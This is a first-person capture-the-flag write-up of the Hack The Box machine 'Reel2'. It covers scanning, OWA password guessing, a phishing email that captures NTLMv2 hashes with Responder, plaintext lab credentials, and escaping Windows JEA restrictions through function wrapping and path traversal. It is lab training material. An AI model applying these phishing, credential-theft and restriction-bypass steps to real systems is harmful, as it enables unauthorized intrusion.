This machine was not as difficult in some respects as other Hard-difficulty machines, but the way that the machine was realistically hardened made it more challenging. The use of some newer Windows PowerShell hardening techniques, as well as ensuring authentication was required in a key location put this machine into the "hard" category. The path to root was otherwise rather straightforward, and just required simple attention to detail and some research to keep moving forward.
Useful Skills and Tools
Search for all files that contain a certain text string
Using PowerShell:
dir -r C:\ -EA Silent | Select-String "Password"
This searches through files in the entire C:\ drive, silently ignoring errors, and selecting any that contain the word "Password" in them.
Mount an existing folder to a new drive letter
New-PSDrive -Name "D" -PsProvider "FileSystem" -Root "C:\Users"\
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
D FileSystem C:\Users
This will mount the entire/Users folder from the C:\ drive to the drive letter D:\. You can then access the user's folders as seen below:
cd D:\Administrator
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.210. The options I regularly use are:
Flag
Purpose
-p-
A shortcut which tells nmap to scan all ports
-vvv
Gives very verbose output so I can see the results as they are found, and also includes some information not normally shown
-sC
Equivalent to --script=default and runs a collection of nmap enumeration scripts against the target
-sV
Does a service version scan
-oA $name
Saves all three formats (standard, greppable, and XML) of output with a filename of $name
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ nmap -sCV -n -p- -Pn -v -oA reel2 10.10.10.210 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-15 12:16 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:16
Completed NSE at 12:16, 0.00s elapsed
Initiating NSE at 12:16
Completed NSE at 12:16, 0.00s elapsed
Initiating NSE at 12:16
Completed NSE at 12:16, 0.00s elapsed
Initiating Connect Scan at 12:16
Scanning 10.10.10.210 [65535 ports]
Discovered open port 443/tcp on 10.10.10.210
Discovered open port 8080/tcp on 10.10.10.210
Discovered open port 80/tcp on 10.10.10.210
Discovered open port 6007/tcp on 10.10.10.210
Connect Scan Timing: About 19.17% done; ETC: 12:19 (0:02:11 remaining)
Discovered open port 6008/tcp on 10.10.10.210
Discovered open port 6011/tcp on 10.10.10.210
Discovered open port 6005/tcp on 10.10.10.210
Discovered open port 6027/tcp on 10.10.10.210
Discovered open port 6004/tcp on 10.10.10.210
Connect Scan Timing: About 47.11% done; ETC: 12:18 (0:01:08 remaining)
Discovered open port 6006/tcp on 10.10.10.210
Discovered open port 5985/tcp on 10.10.10.210
Discovered open port 6010/tcp on 10.10.10.210
Discovered open port 6002/tcp on 10.10.10.210
Discovered open port 6012/tcp on 10.10.10.210
Discovered open port 6001/tcp on 10.10.10.210
Discovered open port 6017/tcp on 10.10.10.210
Completed Connect Scan at 12:18, 106.29s elapsed (65535 total ports)
Initiating Service scan at 12:18
Scanning 16 services on 10.10.10.210
Service scan Timing: About 56.25% done; ETC: 12:20 (0:00:43 remaining)
Completed Service scan at 12:19, 59.77s elapsed (16 services on 1 host)
NSE: Script scanning 10.10.10.210.
Initiating NSE at 12:19
Completed NSE at 12:20, 67.52s elapsed
Initiating NSE at 12:20
Completed NSE at 12:20, 7.31s elapsed
Initiating NSE at 12:20
Completed NSE at 12:20, 0.00s elapsed
Nmap scan report for 10.10.10.210
Host is up (0.069s latency).
Not shown: 65519 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=Reel2
| Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local
| Issuer: commonName=Reel2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2020-07-30T10:12:46
| Not valid after: 2025-07-30T10:12:46
| MD5: aa49 5cac 7115 c7fe 0628 2a6b 0124 37c4
|_SHA-1: d7ea 2696 a56f 09cb 24ce 557f 830e 86ec 5f63 0f2d
|_ssl-date: 2021-02-15T17:29:51+00:00; +9m15s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6002/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6004/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6005/tcp open msrpc Microsoft Windows RPC
6006/tcp open msrpc Microsoft Windows RPC
6007/tcp open msrpc Microsoft Windows RPC
6008/tcp open msrpc Microsoft Windows RPC
6010/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6011/tcp open msrpc Microsoft Windows RPC
6012/tcp open msrpc Microsoft Windows RPC
6017/tcp open msrpc Microsoft Windows RPC
6027/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.32
|_http-title: Welcome | Wallstant
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 9m14s
NSE: Script Post-scanning.
Initiating NSE at 12:20
Completed NSE at 12:20, 0.00s elapsed
Initiating NSE at 12:20
Completed NSE at 12:20, 0.00s elapsed
Initiating NSE at 12:20
Completed NSE at 12:20, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.37 seconds
My nmap scan showed lots of TCP ports open. I saw 80 - HTTP, 443 - HTTPS, 8080 - HTTP, 5985 - Windows Remote Management, and RPC on a bunch of ports 6000+.
From the nmap scan I also saw a DNS domain name Reel2.htb.local in the port 443 information. I added this domain to /etc/hosts and proceeded with my enumeration.
Port 80 - HTTP
I opened a web browser and navigated to http://reel2.htb.local, but this simply led to a 403 - Forbidden error page. I also ran a dirbuster scan in the background but found nothing useful.
Port 8080 - HTTP
Trying the same for port 8080 led to a login page for something called "WallStant". It looked like some kind of social media site.
I created an account after clicking on the "Sign Up" button.
After logging in I found myself in something that looked like an old version of Facebook.
I saw a link for editing my profile. I was hoping for the ability to upload a profile picture, but unfortunately it did not seem to actually be an option.
I found the option I was looking for on my 'test' user's profile page. There was an upload button for changing the profile and banner images. First I tested it by uploading one of my enumeration screenshots.
After validating that I could indeed upload files, I tried to upload a PHP code exec script (though I wasn't sure if PHP even ran here...) but the file had to be an image. I was able to upload a photo, so next I loaded Burp to see if I could fool it into loading code.
I was able to upload my disguised PHP file, but I couldn't get code execution. I did notice that the response contained the X-Powered-By header that told me that it was using PHP/7.2.32, so I checked to see if I could find any vulnerabilities associated with that version.
I found a number of vulnerabilities associated with this version, including one that pointed to a version of curl that is included that could lead to code execution using the -J flag is used to overwrite a local file
Unfortunately, after reading the HackerOne report it seemed as if it was not useful in this case unless I could somehow make requests from the machine using curl (not libcurl).
Back on the Wallstant page there was a "Trending Posts" box that had three potential usernames (and I saw that one of my XXS tests was trending!). I wondered what a 'fika` was, so I looked it up.
fika is a traditional Swedish coffee break with friends
I wrote it down as a potential partial password and continued on.
The other trending Pages tab contained more potential usernames.
-- phpMyAdmin SQL Dump
-- version 4.9.0.1
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Sep 14, 2019 at 03:42 PM
-- Server version: 10.4.6-MariaDB
-- PHP Version: 7.3.9
Dirbuster found a /_database folder which contained a wallstant.sql SQL database.
There was not much useful information other than version numbers.
Report a problem? Sure I was having a problem with accessing your machine, could you let me in?
I wasn't able to get this to connect back to my machine, though. After testing for XSS, SQLi, and doing other tests in each of the input fields, there did not seem to be much else I could do here. I decided to see if there was anything useful on port 443.
Port 443 - HTTPS
I checked out the certificate, but other than the domain name I had already discovered there was no useful information.
The HTTPS port only led to a blank IIS Welcome page. I loaded Dirbuster again to see if there was anything other than the index page.
Dirbuster quickly returned a few folders, including public and owa. Both sounded interesting, so I loaded public first.
Getting OWA credentials
Navigating to https://Reels.htb.local/public redirected to an Outlook Web Application login page. Since I had a list of names to make usernames from, I decided to try to brute force the login. Searching for OWA brute force led to a tool by byt3bl33d3r.
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ ~/SprayingToolkit/atomizer.py owa https://Reel2.htb.local/owa ~/rockyou_utf8.txt usernames --threads 20
[*] Using 'https://reel2.htb.local/owa' as URL
[-] Error parsing internal domain name using OWA. This usually means OWA is being hosted on-prem or the target has a hybrid AD deployment
Do some recon and pass the custom OWA URL as the target if you really want the internal domain name, password spraying can still continue though :)
The first time I ran the tool it gave me a very helpful error message that explained I needed to use the full internal custom URL. I looked up how to find the custom OWA URL, and found what I was looking for in Microsoft's Exchange documentation.
The Autodiscover service uses one of these four methods to configure the email client. The first two work for small, single SMTP namespace organizations. The last two serve multiple-SMTP namespaces.
I tried to access autodiscover/Autodiscover.xml, but I kept having errors and was required to login to access it. This also prevented the OWA brute force tool from enumerating the machine.
The night I was doing this machine I kept getting crashes from the OWA web app and all sorts of other problems, including the portal being extremely slow. I am not sure if this is normal on this machine or if it was being overly taxed by other users.
These errors made me rethink brute-forcing the portal. Since it seemed like other users were also pounding the server, I reset the machine and looked around a bit more to see if I had missed something.
I checked each profile page for clues for the password to log in. I tried combinations of fika + 2020 etc. For the username I tried different combinations of username, first name, and last name.
Next I tried combinations of summer + 2020.
The OWA Portal
After a lot of tries, I was able to log into the OWA with the credentials HTB\s.svenson:Summer2020.
The first thing I noticed was that the page was in Swedish, but since I have used OWA before it was not much of a problem. There was no mail, notes, contacts, or anything to look through.
After searching for awhile for ways to steal information through Outlook, I found a few articles that explained how to get NTLMv2 hashes by sending a link to the attackers box and having the email simply viewed in the Preview Pane.
I opened the address book, and saw a long list of addresses available. I selected all them and clicked on the button to send a new email.
I received an error from Firefox saying popups had been blocked, but clicking "Ja" (Yes) in the dialog box allowed the new mail window to open.
I used Google translate to send an email inviting everyone to check out the new NAS link, which was a link to my machine. I tried sending as both a web link and as an SMB share just in case. After that I fired up Responder to see what I could catch.
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ sudo responder -I tun0 255 ⨯
[sudo] password for zweilos:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.2.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.15.13]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Listening for events...
[HTTP] NTLMv2 Client : 10.10.10.210
[HTTP] NTLMv2 Username : htb\k.svensson
[HTTP] NTLMv2 Hash : k.svensson::htb:85ab412763d672f9:83648271C68CBDA4E17F73B1EF3CD357:0101000000000000D97F28DCB804D7017D151A1EDFF498E3000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C000800300030000000000000000000000000400000C4BECD0E51B4B90084B5CB9F237CDCDD2221F1DA0BE28E374F512A2DF5FA7A400A001000000000000000000000000000000000000900200048005400540050002F00310030002E00310030002E00310035002E00310033000000000000000000
After a short time I got a hit, with the NTLMv2 hash for the user k.svensson.
I was able to crack the hash in just a few seconds. k.svensson's password was kittycat1.
Initial Foothold
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ evil-winrm -u k.svensson -p kittycat1 -i 10.10.10.210 1 ⨯
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mThe term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. + CategoryInfo : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException> ls
The term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
+ CategoryInfo : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[0;31m*Evil-WinRM*[0m[0;1;33m PS [0mThe term 'Invoke-Expression' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. + CategoryInfo : ObjectNotFound: (Invoke-Expression:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException>
I was able to connect with Evil-WinRM using the credentials for k.svensson:kittycat1 but the shell I got did not seem to be working properly. The Invoke-Expression cmdlet that Evil-WinrM relies on seemed to be blocked, so I loaded PowerShell for Linux instead.
┌──(zweilos㉿kali)-[~/htb/reel2]
└─$ pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/powershell
Type 'help' to get help.
A new PowerShell stable release is available: v7.1.2
Upgrade now, or check out the release page at:
https://aka.ms/PowerShell-Release?tag=v7.1.2
PS /home/zweilos/htb/reel2> $newSession = New-PSSession -ComputerName 10.10.10.210 -Credential HTB\k.svensson -Authentication Negotiate
PowerShell credential request
Enter your credentials.
Password for user HTB\k.svensson: *********
PS /home/zweilos/htb/reel2> Enter-PSSession $newSession
I was able to login after using pwsh and PowerShell remoting.
NOTE: If you get the below error, close PowerShell, then install gss-ntlmssp. This will allow you to use NTLM authentication.
New-PSSession: [10.10.10.210] Connecting to remote server 10.10.10.210 failed with the following error message : acquiring creds with username only failed Unspecified GSS failure. Minor code may provide more information SPNEGO cannot find mechanisms to negotiate For more information, see the about_Remote_Troubleshooting Help topic.
[10.10.10.210]: PS>whoami /all
The term 'whoami.exe' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
+ CategoryInfo : ObjectNotFound: (whoami.exe:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
I tried using the whoami command to find out what groups and permissions I had access to, but it didn't seem to be able to available. This was another bad sign, after so many other locked down things.
[10.10.10.210]: P> function test {whoami}
htb\k.svensson
After some testing, I discovered I could run commands embedded inside a custom function.
[10.10.10.210]: PS>function test {whoami /all}
USER INFORMATION
----------------
User Name SID
============== =============================================
htb\k.svensson S-1-5-21-158661246-3153678129-2567348495-1165
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
This seemed to be pretty well locked down as well. There wasn't much to work with in this user's groups or permissions.
I found a shortcut for running commands inside short functions like this by using anonymous functions.
[10.10.10.210]: P> .{ls}
Directory: C:\Users\k.svensson\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/30/2020 5:14 PM WindowsPowerShell
-a---- 7/31/2020 11:58 AM 5600 jea_test_account.psrc
-a---- 7/31/2020 11:58 AM 2564 jea_test_account.pssc
This made navigating much easier since I only had to type a few characters more than typing the commands normally.
JEA - Just Enough Administration
Inside the C:\Users\k.svensson\Documents directory I found a couple of files related to some sort of test account. I googled the jea_test_account.psrc file and found that is related to "Just Enough Administration", which after a little research I was able to find the Microsoft documentation that described it.
A role capability is a PowerShell data file with the .psrc extension that lists all the cmdlets, functions, providers, and external programs that are made available to connecting users.
This is the file that seems to be limiting the commands that are available when I logged in. This is also why Evil-Winrm broke, since it seems to use Invoke-Expression for all of its commands. I have bypassed similar restrictions by using functions before, so that is how what I tried here worked.
CommandType Name Version Source
Function Clear-Host
Function Exit-PSSession
Function Get-Command
Function Get-FormatData
Function Get-Help
Function Measure-Object
Function Out-Default
Function Select-Object
I checked the list of currently available commands, and was given a very limited set. This is how JEA limits users. However it explicitly says on the documentation page:
For more complex command invocations that make this approach difficult, consider using implicit remoting or creating custom functions that wrap the functionality you require.
When I ran Get-Command again inside my custom function, the list kept going and going. It seemed like I was able to use the full gamut of commands inside a function, but very few in the normal session.
One of the core principles of JEA is that it allows non-admins to do some admin tasks. JEA doesn't protect against users who already have administrator privileges. Users who belong Domain Admins, local Administrators, or other highly privileged groups can circumvent JEA's protections via another means. For example, they could sign in with RDP, use remote MMC consoles, or connect to unconstrained PowerShell endpoints. Also, local admins on a system can modify JEA configurations to allow additional users or change a role capability to extend the scope of what a user can do in their JEA session. It's important to evaluate your JEA users' extended permissions to see if there are other ways to gain privileged access to the system.
Now if only I could gain access to an Administrator account...
On k.svensson's Desktop I found the user.txt proof file.
Path to Power (Gaining Administrator Access)
Enumeration as k.svensson
On the desktop I also saw a link for the sticky notes program, which seemed like a good place to search for secrets. I searched the user's folder for any files that referenced "sticky" to see what I could find.
The Sticky Notes application was installed in %USERPROFILE%\AppData\Local\Programs\stickynotes\. This seemed like a likely place for the user to have stored interesting information, such as potential credentials.
NOTE: I lost my shell at one point so it hung on any commands. If you get the below error after a hung PowerShell PSSession, use the shortcut Ctrl-L to exit and return to your local prompt.
[10.10.10.210]: PS>Starting a command on the remote server failed with the following error message : ERROR_WSMAN_INVALID_SELECTORS: The WS-Management service cannot process the request because the request contained invalid selectors for the resource. For more information, see the about_Remote_Troubleshooting Help topic.
Results may vary with this. For me, it did not fully work, and I had to kill the terminal entirely.
I was denied using the systeminfo command, but Get-ComputerInfo gave me a little bit of information. The platform was running on Windows Server 2012 R2
There didn't seem to be anything in the Appdata\Local\stickynotes\ folder of use, so I checked Roaming to see if there was anything useful there
There were a number of files and folders that looked interesting in this folder. I tried searching for a database or storage file where the notes may have been contained.
Inside the \stickynotes\Local Storage folder there was a leveldb folder. After searching for leveldb I discovered it was a type of local database, and not related to the Sticky Notes program (at least not in Microsoft's set up). It seemed like this was a custom database setup.
I did some research to see if I could find out anything about this kind of custom set up for this program, and found that there was a community of people who preferred the old Sticky Notes program, and worked out ways to install and run it locally. It looked possible that this project had been implemented here.
"<p>Credentials for JEA</p><p>jea_test_account:Ab!Q@vcg^%@#1</p>"
It looked like I had found a password for the jea_test_account I had seen files referencing earlier. I tried logging into this account like I did with k.svensson, but it failed to authenticate. I did some research on how to use PowerShell remoting with JEA, and again found that Microsoft's documentation was very helpful.
In order to pass both the username and password into the New-PSSession cmdlet, I had to create a new object that contained this information.
Shell as jea_test_account
┌──(zweilos㉿kali)-[~/htb/reel2]└─$pwshPowerShell7.0.0Copyright (c) Microsoft Corporation. All rights reserved.https://aka.ms/powershellType'help'togethelp.AnewPowerShellstablereleaseisavailable:v7.1.2Upgradenow,orcheckoutthereleasepageat:https://aka.ms/PowerShell-Release?tag=v7.1.2PS/home/zweilos/htb/reel2> $user ="jea_test_account"PS/home/zweilos/htb/reel2> $pass =ConvertTo-SecureString"Ab!Q@vcg^%@#1"-AsPlainTextPS /home/zweilos/htb/reel2> $creds = new-object -typename System.Management.Automation.PSCredential -argumentlist ($user, $pass)
PS/home/zweilos/htb/reel2> $jeaSession =New-PSSession10.10.10.210-Credential $creds -AuthenticationNegotiateNew-PSSession: [10.10.10.210] Connecting to remote server 10.10.10.210 failed with the following error message : ERROR_ACCESS_DENIED: Access is denied. For more information, see the about_Remote_Troubleshooting Help topic.
PS /home/zweilos/htb/reel2> $jeaSession = New-PSSession 10.10.10.210 -Credential $creds -Authentication Negotiate -ConfigurationName "jea_test_account"
PS/home/zweilos/htb/reel2>Enter-PSSession $jeaSession
After creating an object with the credentials and specifying the connection with the configuration name, I was able to connect.
[10.10.10.210]: P> whoami /all
The term 'whoami.exe' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
+ CategoryInfo : ObjectNotFound: (whoami.exe:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[10.10.10.210]: P> .{whoami /all}
The syntax is not supported by this runspace. This can occur if the runspace is in no-language mode.
+ CategoryInfo : ParserError: (.{whoami /all}:String) [], ParseException
+ FullyQualifiedErrorId : ScriptsNotAllowed
I went from one restricted account to a more restricted account.... "no-language mode".
When the PowerShell prompt changes to [localhost]: PS> you know that you're now interacting with the remote JEA session. You can run Get-Command to check which commands are available. Consult with your administrator to learn if there are any restrictions on the available parameters or allowed parameter values.
Remember, JEA sessions operate in NoLanguage mode. Some of the ways you typically use PowerShell may not be available. For instance, you can't use variables to store data or inspect the properties on objects returned from cmdlets.
Check-File
CommandType Name Version Source
----------- ---- ------- ------
Function Check-File
Function Clear-Host
Function Exit-PSSession
Function Get-Command
Function Get-FormatData
Function Get-Help
Function Measure-Object
Function Out-Default
Function Select-Object
[10.10.10.210]: PS>Get-Help Check-File
Cannot find path '' because it does not exist.
+ CategoryInfo : ObjectNotFound: (:) [Get-Help], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetHelpCommand
I used Get-Command to see what commands I had access to, and found that it was pretty much the same list as before with one addition. I tried to access the help information for the Check-File command, but I got a Cannot find path error.
[10.10.10.210]: P> .{typejea_test_account.psrc}@{# ID used to uniquely identify this documentGUID='08c0fdac-36ef-43b5-931f-68171c4c8200'# Author of this documentAuthor='cube0x0'# Description of the functionality provided by these settings# Description = ''# Company associated with this documentCompanyName='Unknown'# Copyright statement for this documentCopyright='(c) 2020 cube0x0. All rights reserved.'# Modules to import when applied to a session# ModulesToImport = 'MyCustomModule', @{ ModuleName = 'MyCustomModule'; ModuleVersion = '1.0.0.0'; GUID = '4d30d5f0-cb16-4898-812d-f20a6c596bdf' }
# Aliases to make visible when applied to a session# VisibleAliases = 'Item1', 'Item2'# Cmdlets to make visible when applied to a session# VisibleCmdlets = 'Invoke-Cmdlet1', @{ Name = 'Invoke-Cmdlet2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }
# Functions to make visible when applied to a session# VisibleFunctions = 'Invoke-Function1', @{ Name = 'Invoke-Function2'; Parameters = @{ Name = 'Parameter1'; ValidateSet = 'Item1', 'Item2' }, @{ Name = 'Parameter2'; ValidatePattern = 'L*' } }
# External commands (scripts and applications) to make visible when applied to a session# VisibleExternalCommands = 'Item1', 'Item2'# Providers to make visible when applied to a session# VisibleProviders = 'Item1', 'Item2'# Scripts to run when applied to a session# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'# Aliases to be defined when applied to a session# AliasDefinitions = @{ Name = 'Alias1'; Value = 'Invoke-Alias1'}, @{ Name = 'Alias2'; Value = 'Invoke-Alias2'}# Functions to define when applied to a sessionFunctionDefinitions=@{'Name'='Check-File' 'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }
# Variables to define when applied to a session# VariableDefinitions = @{ Name = 'Variable1'; Value = { 'Dynamic' + 'InitialValue' } }, @{ Name = 'Variable2'; Value = 'StaticInitialValue' }
# Environment variables to define when applied to a session# EnvironmentVariables = @{ Variable1 = 'Value1'; Variable2 = 'Value2' }# Type files (.ps1xml) to load when applied to a session# TypesToProcess = 'C:\ConfigData\MyTypes.ps1xml', 'C:\ConfigData\OtherTypes.ps1xml'# Format files (.ps1xml) to load when applied to a session# FormatsToProcess = 'C:\ConfigData\MyFormats.ps1xml', 'C:\ConfigData\OtherFormats.ps1xml'# Assemblies to load when applied to a session# AssembliesToLoad = 'System.Web', 'System.OtherAssembly, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
The answer was in the JEA configuration files I had seen earlier. Inside the configuration file jea_test_account.psrc there was a definition for a custom function Check-File.
# Functions to define when applied to a sessionFunctionDefinitions=@{'Name'='Check-File' 'ScriptBlock' = {param($Path,$ComputerName=$env:COMPUTERNAME) [bool]$Check=$Path -like "D:\*" -or $Path -like "C:\ProgramData\*" ; if($check) {get-content $Path}} }
This function runs the Get-Content cmdlet, but first checks to see if the path of the file supplied contains D:\ or C:\ProgramData\, and only works if this is true. It seems that there must be some file in these directories that would hopefully point me in the right direction.
[10.10.10.210]: PS>.{typejea_test_account.pssc}@{# Version number of the schema used for this documentSchemaVersion='2.0.0.0'# ID used to uniquely identify this documentGUID='d6a39756-aa53-4ef6-a74b-37c6a80fd796'# Author of this documentAuthor='cube0x0'# Description of the functionality provided by these settings# Description = ''# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType='RestrictedRemoteServer'# Directory to place session transcripts for this session configuration# TranscriptDirectory = 'C:\Transcripts\'# Whether to run this session configuration as the machine's (virtual) administrator accountRunAsVirtualAccount= $true# Scripts to run when applied to a session# ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'# User roles (security groups), and the role capabilities that should be applied to them when applied to a sessionRoleDefinitions=@{'htb\jea_test_account'=@{'RoleCapabilities'='jea_test_account'}}# Language mode to apply when applied to a session. Can be 'NoLanguage' (recommended), 'RestrictedLanguage', 'ConstrainedLanguage', or 'FullLanguage'
LanguageMode='NoLanguage'
The second configuration file confirmed my suspicions that I had been locked into NoLanguage mode, which explained why I couldn't use custom functions anymore.
[10.10.10.210]: P> .{cd D:\}
cd : Cannot find drive. A drive with the name 'D' does not exist.
At line:1 char:3
+ .{cd D:\}
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (D:String) [Set-Location], DriveNotFoundException
+ FullyQualifiedErrorId : DriveNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
It did not appear that there even was a D:\ drive, so I checked out the other folder.
Two paths forward
I did some research on how to use PowerShell to link files and how to mount new drive letters.
I was able to link the C drive to the D drive letter as the k.svensson user, however the jea_test_account was not able to see the D:\ drive I had created.
Instead I tried mounting the C:\Users\Administrator\ into the other folder listed in the Check-File script, C:\ProgramData\. I did not have permissions to link to the /Administrator folder directly.
I was then able to use Check-File to read the contents of the root.txt by referencing the linked version inside C:\ProgramData\Desk\Desktop\.
Route two
After going through all of the trouble to create a link to the folders, I realized that I could also do it much more simply...with directory traversal!
Since the custom function was looking for a path with the -Like parameter and a * wildcard, anything could be put after the path C:\ProgramData\. This includes directory traversal paths such as ..\.
Thanks to cube0x0 for creating this fun and interesting machine! I had read about JEA when it first came out, but I didn't understand how powerfully restrictive it could be (at least if configured securely!). Thank you for this opportunity to learn how to bypass these protections so I can better learn how to configure Windows networks to be more secure!
If you like this content and would like to see more, please consider buying me a coffee!